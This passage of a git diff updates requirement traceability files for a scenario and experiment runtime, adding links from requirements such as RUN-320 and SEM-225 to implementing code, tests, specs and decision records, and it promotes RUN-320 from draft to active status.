`implementations/python/packages/raes_runtime/participant_action_validation.py` (Protect runtime-owned composition state from provider mutation) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/participant_control.py` (Admit mixed participant actions without a logical provider fallback) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/participant_crossing_boundary.py` (Commit exact provider decision before mixed-runtime effect) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/participant_crossing_policy.py` (Resolve capability gates against the selected admitted allocation contract) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/participant_submission_options.py` (Require mixed dispatch resolution before invoking an effect sink) +- TESTS → TEST `implementations/python/tests/test_issue_1016_mixed_runtime_coordination.py` (Zero-call rejection and pre-effect policy-cut witnesses) - IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/participant_flow_sink.py` (RUN-319 SEM-233 final-sink flow-control enforcement guard) - TESTS → TEST `implementations/python/tests/test_issue_1003_final_sink_flow_enforcement.py` (RUN-319 final-sink flow-control boundary enforcement tests) - TESTS → TEST `implementations/python/tests/sem233_flow_sink_fixtures.py` (RUN-319 live-bound SEM-233 final-sink test fixtures) @@ -55,3 +70,7 @@ Current admission, retrieval, lifecycle, and persistence surfaces do not yet for - IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/participant_opacity_enforcement.py` (RUN-319 participant-opacity crossing enforcement) - TESTS → TEST `implementations/python/tests/test_issue_964_participant_opacity_runtime.py` (Issue 964 RUN-319 opacity mediation boundary tests) - IMPLEMENTS → GITHUB_ISSUE `964` (Enforce declared participant-opacity profiles in the reference runtime) +- IMPLEMENTS → GITHUB_ISSUE `1069` (Modular participant control composed inside the incumbent crossing boundary) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/participant_crossing_state_cut.py` (Shared state-cut head rendering for both final-sink owners) +- TESTS → TEST `implementations/python/tests/test_issue_1069_participant_control_orchestration.py` (Zero backend call and zero disclosure for every non-eligible composition) +- TESTS → TEST `implementations/python/tests/participant_crossing_fixtures.py` (Crossing fixtures binding a modular participant-control configuration) diff --git a/docs/requirements/RUN-320/requirement.md b/docs/requirements/RUN-320/requirement.md index 9867e004e..463a1e985 100644 --- a/docs/requirements/RUN-320/requirement.md +++ b/docs/requirements/RUN-320/requirement.md @@ -1,12 +1,12 @@ --- id: RUN-320 title: "Modular Participant-Control Orchestration and Governed Trigger Execution" -status: DRAFT +status: ACTIVE type: FUNCTIONAL priority: MUST wave: 4 created_at: 2026-09-06T00:00:00Z -updated_at: 2026-09-06T00:00:00Z +updated_at: 2026-09-20T00:00:00Z --- # RUN-320 — Modular Participant-Control Orchestration and Governed Trigger Execution @@ -37,10 +37,15 @@ bounded triggered execution while retaining those boundaries. ## Fulfillment boundary -DRAFT through #1068. #1069 follows semantic and contract publication and tests -real final sinks, concurrency, both supported stores, crash/replay limits, -IFC-triggered injects and at least one other effect. Synthetic providers are -runtime/contract evidence only; downstream providers own real instrumentation. +DRAFT through #1068. #1069 delivers the reference-runtime orchestration against +the published API-424 contracts: the implicit SEM-233 resolver hook is replaced +by an explicitly selected adapter, providers are invoked only through +`participant-control-provider/v1`, and the composed evaluation commits to the +ADR-104 store before any backend effect or participant disclosure. ACTIVE is +proposed in this delivery diff and becomes authoritative on merge. Synthetic +providers are runtime evidence only; downstream providers own real +instrumentation, and this delivery claims no production mechanism, external +exactly-once effect, or backend equivalence. ## Traceability @@ -49,3 +54,52 @@ runtime/contract evidence only; downstream providers own real instrumentation. - DOCUMENTS → ADR `docs/decisions/adrs/adr-108-modular-participant-control-and-governed-effects.md` (ADR-108) - DOCUMENTS → DOCUMENTATION `docs/research/modular-participant-control/composition.md` (PC-05 through PC-12 and PC-15) - TESTS → TEST `docs/research/modular-participant-control/check_design.py` (Bounded abstract transition counterexamples only) +- IMPLEMENTS → GITHUB_ISSUE `1069` (Runtime orchestration of participant-control mechanisms and triggered effects) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/participant_control_binding.py` (Admitted selection bound to exact operator-created providers) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/participant_control_orchestration.py` (Exact-cut resolution, protocol invocation, composition and commit before effect) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/participant_control_effects.py` (Governed dispatch of admitted effects through their incumbent owners) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/participant_control_evaluation_history.py` (Append-only composition and realization history invariants) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_composition.py` (Explicitly negotiated modular-control and legacy SEM-233 selection) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/participant_flow_sink.py` (Declared final-sink resolver protocol replacing method-presence discovery) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/participant_crossing_boundary.py` (Modular control at the ingress action and control sinks) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/participant_crossing_egress.py` (Modular control before governed egress serialization) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/participant_control.py` (Runtime entry point for separately admitted effect dispatch) +- TESTS → TEST `implementations/python/tests/test_issue_1069_participant_control_orchestration.py` (Real-sink composition, zero-dispatch refusal and permuted provider order) +- TESTS → TEST `implementations/python/tests/test_issue_1069_participant_control_effects.py` (IFC-triggered inject and handoff, idempotent replay and unsupported owners) +- TESTS → TEST `implementations/python/tests/test_issue_1069_participant_control_binding.py` (Exact provider binding and revalidated selections) +- TESTS → TEST `implementations/python/tests/test_issue_1069_participant_control_durability.py` (Both stores, restart replay and concurrent stale writers) +- TESTS → TEST `implementations/python/tests/test_issue_1069_control_evaluation_carrier.py` (Append-only evaluation carrier and expected-head binding) +- DOCUMENTS → DOCUMENTATION `docs/decisions/issue-1069-run-320-runtime-orchestration-preflight.md` (Issue #1069 runtime orchestration architecture preflight) +- DOCUMENTS → DOCUMENTATION `docs/explain/reference/modular-participant-control-contracts.md` (Runtime orchestration reference and verification map) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/_snapshot_updates.py` (Participant-control evaluation history in the snapshot update surface) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/realization_plans.py` (Participant-control evaluation history in the published snapshot envelope) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/runtime_state.py` (First-class append-only participant-control evaluation carrier) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/backend_snapshot_contracts.py` (Runtime ownership of the participant-control evaluation carrier) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane.py` (Modular participant-control binding and explicit final-sink selection) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_api_models.py` (Participant-control evaluation history in the control-plane projection) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_audit.py` (Bounded participant-control audit references and realization action) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_configuration.py` (Typed participant-control binding configuration) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_store_history.py` (Participant-control evaluation history head resolution) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_store_snapshots.py` (Durable persistence and absent-carrier classification) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/participant_action_validation.py` (Runtime-owned evaluation carrier protected from backend rewrite) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/participant_crossing_state_cut.py` (Shared state-cut head rendering for both final-sink owners) +- TESTS → TEST `implementations/python/tests/participant_crossing_fixtures.py` (Crossing fixtures binding a modular participant-control configuration) +- TESTS → TEST `implementations/python/tests/sem233_flow_sink_fixtures.py` (Explicit legacy SEM-233 final-sink selection in fixtures) +- TESTS → TEST `implementations/python/tests/test_issue_1003_final_sink_flow_enforcement.py` (Legacy SEM-233 enforcement under explicit selection) +- TESTS → TEST `implementations/python/tests/test_participant_concurrent_batch_reservations.py` (Exhaustive snapshot ownership including the evaluation carrier) +- TESTS → TEST `implementations/python/tests/test_issue_989_versioned_evidence.py` (Re-cut evidence releases pinned to the current source state) +- TESTS → TEST `implementations/python/tests/test_specification_coverage.py` (Re-cut coverage capture bound to the current implementation surfaces) +- DOCUMENTS → DOCUMENTATION `docs/research/specification-coverage/index.md` (Release 40.0.0 coverage capture for this source state) +- DOCUMENTS → DOCUMENTATION `docs/research/formal-semantic-validation/index.md` (Release 41.0.0 formal retest for this source state) +- TESTS → TEST `implementations/python/tests/participant_control_runtime_fixtures.py` (Synthetic providers and trusted resolvers bound to the live cut) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/participant_result_contracts.py` (Backend results preserve the runtime-owned evaluation history) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/participant_control_causal_state.py` (Durable causal consumption folded from committed history) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/participant_control_records.py` (Append-only realization transitions for dispatched effects) +- TESTS → TEST `implementations/python/tests/test_issue_1069_control_evaluation_authority.py` (A backend result can neither erase a committed evaluation nor forge a realization) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/participant_control_receipts.py` (Each effect acts for, and is claimed under, the operation that admitted it) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_store_record_migration.py` (Schema 6 records the evaluation carrier; older builds refuse the store) +- TESTS → TEST `implementations/python/tests/test_issue_1092_control_plane_crash_consistency.py` (Migration reaches the current schema) +- TESTS → TEST `implementations/python/tests/test_issue_1180_snapshot_revision_cas.py` (Migration reaches the current schema) +- TESTS → TEST `implementations/python/tests/test_issue_1184_atomic_idempotency_claims.py` (Migration reaches the current schema) +- TESTS → TEST `implementations/python/tests/test_issue_1186_control_plane_recovery_operations.py` (Migration reaches the current schema) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/participant_control_cut.py` (Exact-cut binding to the committed crossing and retained consumption) diff --git a/docs/requirements/SCE-002/requirement.md b/docs/requirements/SCE-002/requirement.md index 2746a3f41..1016b1d6d 100644 --- a/docs/requirements/SCE-002/requirement.md +++ b/docs/requirements/SCE-002/requirement.md @@ -21,6 +21,15 @@ Static scenarios become predictable after one run. CALDERA's fact-based variable ## Traceability +- IMPLEMENTS → GITHUB_ISSUE `OpenRAE/rae#1014` (Compose selected scenario authority into the portable mixed-composition profile) +- IMPLEMENTS → SPEC `contracts/schemas/plans/mixed-participant-composition-profile-v1.json` (Digest-pinned scenario snapshot and compiled allocation carrier) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/mixed_composition.py` (Composition profile reusing incumbent selection and compiled-address authority) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/mixed_composition_validation.py` (Closed per-phase allocation and canonical-provider validation) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/mixed_composition_resolution.py` (Exact selected-scenario and compiled-target contextual joins) +- TESTS → TEST `implementations/python/tests/test_issue_1014_mixed_composition_contracts.py` (Composition modes preserve selected scenario identity without reselection) +- DOCUMENTS → GITHUB_ISSUE `OpenRAE/rae#1013` (Compose the existing SCE-002 authority in SEM-234 without changing its runtime contract) +- DOCUMENTS → SPEC `specs/formal/participant-semantics/cross-backend-participant-control.md` (Revisioned mixed-composition compatibility boundary) +- TESTS → TEST `implementations/python/tests/test_sem_234_mixed_composition.py` (Bounded composition with incumbent SCE-002 authority) - DOCUMENTS → GITHUB_ISSUE `788` (SCE-002: publish the admitted experiment trial-plan contract) - DOCUMENTS → GITHUB_ISSUE `652` (Design: scenario variation and deterministic trial realization (SCE-002)) - DOCUMENTS → ADR `docs/decisions/adrs/adr-084-scenario-variation-and-deterministic-trial-realization.md` (ADR-084: Scenario Variation and Deterministic Trial Realization) @@ -72,3 +81,15 @@ Static scenarios become predictable after one run. CALDERA's fact-based variable - TESTS → TEST `implementations/python/tests/test_sce_002_trial_realization.py` (Verify admitted-entry realization, substitution rejection, provenance, retries, and reconciliation.) - IMPLEMENTS → DOCUMENTATION `docs/decisions/issue-790-sce-002-trial-realization-provenance-preflight.md` (Define the authoritative trial-realization and provenance integration boundary.) - IMPLEMENTS → GITHUB_ISSUE `790` (SCE-002: integrate trial realization with SDL instantiation and run provenance) +- IMPLEMENTS → GITHUB_ISSUE `OpenRAE/rae#1015` (Admit exact mixed and staged realization assignments per trial coordinate) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/admitted_trial_plan.py` (Mixed entries in the incumbent admitted-plan lifecycle) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/admitted_trial_plan_components.py` (Pinned profile inputs and exact source-plan lineage) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/trial_compilation.py` (Aggregate mixed-profile and contextual-work bounds) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_processor/trial_compiler/models.py` (Immutable realization-assignment compilation inputs) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_processor/trial_compiler/inputs.py` (Total coordinate assignment, exact profile resolution, and canonical plan intent) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_processor/trial_compiler/compiler.py` (Deterministic atomic mixed/staged compilation) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_processor/trial_compiler/realization_admission.py` (Exact selected-scenario, source-plan, context, resource, and apparatus admission) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_processor/trial_compiler/profiles.py` (Domain-separated mixed plan, entry, and run identities) +- IMPLEMENTS → DOCUMENTATION `docs/explain/reference/scenario-variation-and-trial-realization.md` (Mixed/staged admission and runtime nonclaim) +- VERIFIES → SPEC `contracts/fixtures/plans/trial-compiler-mixed-composition-v1/identity-vectors.json` (Mixed compiler identity conformance vectors) +- TESTS → TEST `implementations/python/tests/test_issue_1015_mixed_staged_trial_admission.py` (Pure compatibility, deterministic mixed/staged compilation, bounds, and lineage coverage) diff --git a/docs/requirements/SEM-207/requirement.md b/docs/requirements/SEM-207/requirement.md index e8438b9e5..b1d7a9d43 100644 --- a/docs/requirements/SEM-207/requirement.md +++ b/docs/requirements/SEM-207/requirement.md @@ -21,6 +21,14 @@ Requirement inventory phase. Status audit deferred until the full canonical grap ## Traceability +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/objectives.py` (Independent ownership and participant assignment) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/semantics/objective_semantics/__init__.py` +- IMPLEMENTS → SPEC `specs/sdl/participant-identity.md` (Ownership, assignment, and action constraints) +- TESTS → TEST `implementations/python/tests/test_issue_1338_participant_identity.py` +- TESTS → TEST `implementations/python/tests/test_issue_1338_identity_authority.py` +- TESTS → TEST `implementations/python/tests/test_issue_1338_identity_migration.py` +- TESTS → TEST `implementations/python/tests/test_issue_1338_identity_examples.py` + - IMPLEMENTS → DOCUMENTATION `specs/formal/objectives/declarative-objective-semantics.md` (SEM-207 formal semantic boundary (canonical inputs, required semantics, cross-cutting gates, anti-patterns, implementation mapping)) - IMPLEMENTS → DOCUMENTATION `docs/explain/reference/objective-semantics.md` (SEM-207 implementer-facing reference note (ADR-016 governed)) - TESTS → TEST `implementations/python/tests/test_semantics_objectives.py` (Objective semantics analyzer + dependency-partition unit tests (TestObjectiveSemantics, TestObjectiveDependencyPartition)) diff --git a/docs/requirements/SEM-209/requirement.md b/docs/requirements/SEM-209/requirement.md index 3218c5ae1..4ae931b37 100644 --- a/docs/requirements/SEM-209/requirement.md +++ b/docs/requirements/SEM-209/requirement.md @@ -21,6 +21,8 @@ Requirement inventory expansion. Multi-participant behavior cannot remain portab ## Traceability +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/composition/_behavior.py` (Preserve interaction references under module namespaces) +- TESTS → TEST `implementations/python/tests/test_act_612_relationship_integration.py` (Independent composed coordination references and endpoint agreement) - DOCUMENTS → SPEC `specs/formal/participant-semantics/README.md` (Participant Semantics Formal Design) - DOCUMENTS → ADR `docs/decisions/adrs/adr-022-participant-behavior-and-interaction-semantics.md` (ADR-022: Participant Behavior and Interaction Semantics) - TESTS → TEST `implementations/python/tests/test_sem_208_participant_behavior.py` (SEM-209 participant interaction semantics tests) diff --git a/docs/requirements/SEM-213/requirement.md b/docs/requirements/SEM-213/requirement.md index e239a346a..f368919e9 100644 --- a/docs/requirements/SEM-213/requirement.md +++ b/docs/requirements/SEM-213/requirement.md @@ -21,6 +21,12 @@ Requirement inventory expansion. Temporal behavior must have shared meaning beyo ## Traceability +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/participant_temporal.py` (Bounded shared-time contexts, evidence and assessments) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/participant_temporal.py` (Deadline/dwell assessment and history consistency) +- IMPLEMENTS → SPEC `specs/formal/participant-semantics/autonomous-execution.md` (Explicit bounded action guarantees) +- TESTS → TEST `implementations/python/tests/test_act_614_temporal_runtime.py` (Bound event, coverage and lifecycle enforcement) +- TESTS → TEST `implementations/python/tests/test_act_614_temporal_durability.py` (Evidence consistency and projection) + - IMPLEMENTS → CONFIG `contracts/schemas/sdl/instantiated-scenario-v1.json` (Instantiated scenario schema temporal contracts) - IMPLEMENTS → CONFIG `contracts/schemas/sdl/sdl-authoring-input-v1.json` (SDL authoring schema temporal contracts) - IMPLEMENTS → CONFIG `contracts/schemas/control-plane/participant-behavior-history-event-stream-v1.json` (Participant behavior history temporal context schema) diff --git a/docs/requirements/SEM-218/requirement.md b/docs/requirements/SEM-218/requirement.md index fae5249db..f913922eb 100644 --- a/docs/requirements/SEM-218/requirement.md +++ b/docs/requirements/SEM-218/requirement.md @@ -21,6 +21,12 @@ Current state: identified gap. Honest portability requires normative semantics f ## Traceability +- IMPLEMENTS → GITHUB_ISSUE `1237` (Canonical source sufficiency at substrate admission boundaries) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_processor/semantics/realization_compute_substrate.py` (Independent scope and exact-source runtime admission) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/realization_operational_observation.py` (Authoritative native readback and prior-disclosure reuse) +- TESTS → TEST `implementations/python/tests/test_issue_1237_source_sufficiency.py` (Substrate binding, runtime source matching, and reuse regressions) +- TESTS → TEST `implementations/python/tests/test_reference_backend_provisioner.py` (Driver-reported readback rejection without losing recoverable inventory) + - TESTS → TEST `implementations/python/tests/test_issue_1206_review_regressions.py` (Unknown replication remains knowledge while private identities retain exact matching) - TESTS → TEST `implementations/python/tests/test_issue_1207_policy_ownership.py` (Bounded ownership of the partial-inventory contract delivery) @@ -44,6 +50,13 @@ Current state: identified gap. Honest portability requires normative semantics f - IMPLEMENTS → GITHUB_ISSUE `1207` (Partial inventory descriptions and selected-operation admission) - IMPLEMENTS → SPEC `specs/sdl/runtime-inventory.md` (Binding partial facts and delegated prerequisites) - DOCUMENTS → DOCUMENTATION `docs/explain/sdl/issue-1207-clause-mapping.md` +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/runtime_listeners.py` (Partial listener facts and supplied-contradiction boundary) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/validator/_runtime_listeners.py` (Presence-aware listener reference agreement) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/validator/_runtime_services.py` (Listener semantic-validation integration) +- TESTS → TEST `implementations/python/tests/test_issue_1299_partial_listeners.py` (Partial listener presence, realization, publication, and SSH-boundary regressions) +- TESTS → TEST `implementations/python/tests/test_runtime_service_listeners.py` (Listener shape and semantic-reference regressions) +- DOCUMENTS → ADR `docs/decisions/adrs/adr-043-runtime-service-listener-surface.md` (Partial description and complete-endpoint admission amendment) +- DOCUMENTS → DOCUMENTATION `docs/explain/sdl/issue-1299-clause-mapping.md` (Issue 1299 architecture and clause mapping) - TESTS → TEST `implementations/python/tests/test_pr_body_guard.py` (Ancillary delivery-policy repair: preserve post-merge verification before requirement-backed issue closure; not software semantics) - TESTS → TEST `implementations/python/tests/test_pr_body_policy_migration.py` (Ancillary delivery-policy migration: execute only the pinned replacement of the exact legacy guard) diff --git a/docs/requirements/SEM-225/requirement.md b/docs/requirements/SEM-225/requirement.md index b0f68752b..07d1af534 100644 --- a/docs/requirements/SEM-225/requirement.md +++ b/docs/requirements/SEM-225/requirement.md @@ -5,7 +5,7 @@ status: ACTIVE type: FUNCTIONAL priority: MUST created_at: 2026-04-05T01:59:50.501378Z -updated_at: 2026-06-23T04:06:33.107397Z +updated_at: 2026-09-16T00:50:48Z --- # SEM-225 — Realization Augmentation And Environment-Visibility Semantics @@ -20,8 +20,153 @@ If processors or backends add instrumentation or other augmentation, the ecosyst ## Traceability +- IMPLEMENTS → GITHUB_ISSUE `1242` (Binding open-by-default author scope and pre-materialization refusal) +- IMPLEMENTS → SPEC `specs/sdl/augmentation-scope.md` (Author burden rationale, scoped permission, pure preparation and refusal contract) +- IMPLEMENTS → SPEC `contracts/provenance/sdl-lineage-ledger-v2.json` (Native lineage registration for the author scope field) +- IMPLEMENTS → SPEC `contracts/schemas/plans/backend-augmentation-scope-v1.json` (Bounded prospective SDL and requirement/impact references) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/augmentation_scope.py` (Independent open-by-default scope policy and namespace intersections) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/augmentation_preparation.py` (Bounded prospective effects and source/operation/predecessor/producer binding) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/plan_effects.py` (Prospective materialization remains effectful even with empty operations) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_backend_protocols/augmentation.py` (Read-only producer protocol and neutral-carrier adapter) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/scenario.py` (Shared author, instantiated and descriptive policy carrier) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/_composition_provenance.py` (Shared namespaced semantic pointer rewriting) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/_language_metadata.py` (Author scope completion fields) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/composition/_expand.py` (Preserve imported policy restrictions during expansion) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/validator/_core.py` (Apply scope admission in source validation) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/prospective_content.py` (Ordinary SDL semantic admission without a fabricated attestation) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/composition/_augmentation.py` (Import restrictions and native list identities survive composition) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/observation_scope.py` (Native semantic-address ownership across namespaced declarations) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/validator/_evidence_requirements.py` (Resolve author scope and import provenance before execution) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_processor/planner/augmentation_admission.py` (Complete shared effects, scoped refusal and actual/prospective reconciliation) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/backend_augmentation.py` (Pure invocation admission and value-free operator diagnostics) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/manager_augmentation.py` (All active producers checked before the first materializing phase) +- TESTS → TEST `implementations/python/tests/test_issue_1242_augmentation_scope.py` (Omission, explicit policy, scoped exceptions, module and list identity preservation) +- TESTS → TEST `implementations/python/tests/test_issue_1242_scope_admission.py` (Binding, complete effect coverage, impacts, native identity, bounds and ordinary realization) +- TESTS → TEST `implementations/python/tests/test_issue_1242_scope_runtime.py` (Refusal before mutation, later phases, observation hooks, actual effects and detached-plan enforcement) +- TESTS → TEST `implementations/python/tests/test_issue_1242_scope_contracts.py` (Closed wire schemas and honest structural-only conformance) +- TESTS → TEST `implementations/python/tests/test_issue_1242_scope_durability.py` (Named evidence refusal, shared apparatus, restart and no replay) +- TESTS → TEST `implementations/python/tests/test_issue_1242_review_regressions.py` (Canonical negotiation authority, advisory diagnostics, cumulative phase ownership and protected predecessor reads) +- TESTS → TEST `implementations/python/tests/test_sdl_catalog_parity.py` (Scope field and checked section-count parity) +- TESTS → TEST `implementations/python/tests/test_sdl_lineage.py` (Exact registered subject coverage for augmentation scope) +- TESTS → TEST `implementations/python/tests/test_issue_1238_development_container.py` (Whole-checkout verification gate; retain independent platform-refusal cases under coverage) +- TESTS → TEST `implementations/python/tests/test_issue_1092_control_plane_crash_consistency.py` (Whole-checkout verification gate; keep cross-process runtime ownership checks in the integration lane) +- IMPLEMENTS → DOCUMENTATION `docs/research/formal-semantic-validation/bundles/retest-v24.json` (Fresh source-bound replay preserving prior captures and claim limits) +- IMPLEMENTS → DOCUMENTATION `docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1242-v24.json` (Retained corpus execution against the integrated scope implementation) + +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/schema_factoring.py` (Lossless local schema-rule sharing within the publication budget) +- TESTS → TEST `implementations/python/tests/test_issue_1241_schema_publication_size.py` (Self-contained schema size, exact expansion and reference-scope integrity) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/image_provenance.py` (Shared schema omission rules for protected materialization content) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/runtime_application.py` (Shared schema omission rules for protected materialization content) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/runtime_container.py` (Shared schema omission rules for protected materialization content) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/runtime_database.py` (Shared schema omission rules for protected materialization content) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/runtime_datastore_partitions.py` (Shared schema omission rules for protected materialization content) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/runtime_directory_identity.py` (Shared schema omission rules for protected materialization content) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/runtime_dns.py` (Shared schema omission rules for protected materialization content) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/runtime_environment.py` (Shared schema omission rules for protected materialization content) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/runtime_filesystem.py` (Shared schema omission rules for protected materialization content) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/runtime_forwarding_agent.py` (Shared schema omission rules for protected materialization content) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/runtime_identity.py` (Shared schema omission rules for protected materialization content) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/runtime_mail_service/_elements.py` (Shared schema omission rules for protected materialization content) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/runtime_platform_application_content.py` (Shared schema omission rules for protected materialization content) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/runtime_resource_limits.py` (Shared schema omission rules for protected materialization content) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/runtime_security_monitoring/_models.py` (Shared schema omission rules for protected materialization content) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/runtime_service_units.py` (Shared schema omission rules for protected materialization content) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/runtime_ssh_server.py` (Shared schema omission rules for protected materialization content) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/runtime_application_values.py` (Lock materialization schema parity and admitted planner projection integrity) +- TESTS → TEST `implementations/python/tests/test_issue_1241_schema_omissions.py` (Lock materialization schema parity and admitted planner projection integrity) +- TESTS → TEST `implementations/python/tests/test_issue_1241_planner_inventory.py` (Lock materialization schema parity and admitted planner projection integrity) +- IMPLEMENTS → SPEC `contracts/schemas/artifact-requirements/artifact-requirement-v1.json` (Native omission invariants shared by all SDL carriers) +- IMPLEMENTS → SPEC `contracts/schemas/satisfiability/scenario-satisfiability-evidence-v1.json` (Native omission invariants shared by all SDL carriers) +- IMPLEMENTS → SPEC `contracts/schemas/sdl/instantiated-scenario-snapshot-v1.json` (Native omission invariants shared by all SDL carriers) +- IMPLEMENTS → SPEC `contracts/schemas/sdl/instantiated-scenario-v1.json` (Native omission invariants shared by all SDL carriers) +- IMPLEMENTS → SPEC `contracts/schemas/sdl/sdl-authoring-input-v1.json` (Native omission invariants shared by all SDL carriers) + +- TESTS → TEST `implementations/python/tests/test_issue_1241_materialization_evidence.py` (Retain the preceding progressive evidence release as frozen, non-executing history) +- TESTS → TEST `implementations/python/tests/test_participant_concurrent_batch_reservations.py` (Archive references stay in the exhaustive runtime-owned field set) +- TESTS → TEST `implementations/python/tests/test_issue_989_versioned_evidence.py` (Preserve historical evidence and reject stale current source captures) - IMPLEMENTS → ADR `docs/decisions/adrs/adr-066-observability-evidence-plane-separation.md` (ADR-066 Observability evidence plane separation) - IMPLEMENTS → SPEC `specs/formal/observability-evidence-plane.md` (Formal observability/evidence plane specification) - IMPLEMENTS → DOCUMENTATION `specs/sdl/observability-and-evidence.md` (SDL observability and evidence authoring catalog) - IMPLEMENTS → SPEC `contracts/schemas/experiment-core/experiment-run-v1.json` (experiment-run-v1 SEM-225 augmentation disclosure schema) - TESTS → TEST `implementations/python/tests/test_sem_225_augmentation_semantics.py` (SEM-225 augmentation disclosure semantics regression tests) +- IMPLEMENTS → GITHUB_ISSUE `1241` (Post-materialization attestation in valid SDL) +- IMPLEMENTS → SPEC `specs/sdl/materialization-attestation.md` (Complete in-world disclosure, provenance and archival contract) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/materialization.py` (Closed descriptive phase with ordinary SDL admission) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_processor/compiler/materialization_origins.py` (Native member identity and value-free origin differences) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_processor/planner/materialization_admission.py` (Source, operation and complete scoped inventory binding) +- IMPLEMENTS → CODE_FILE 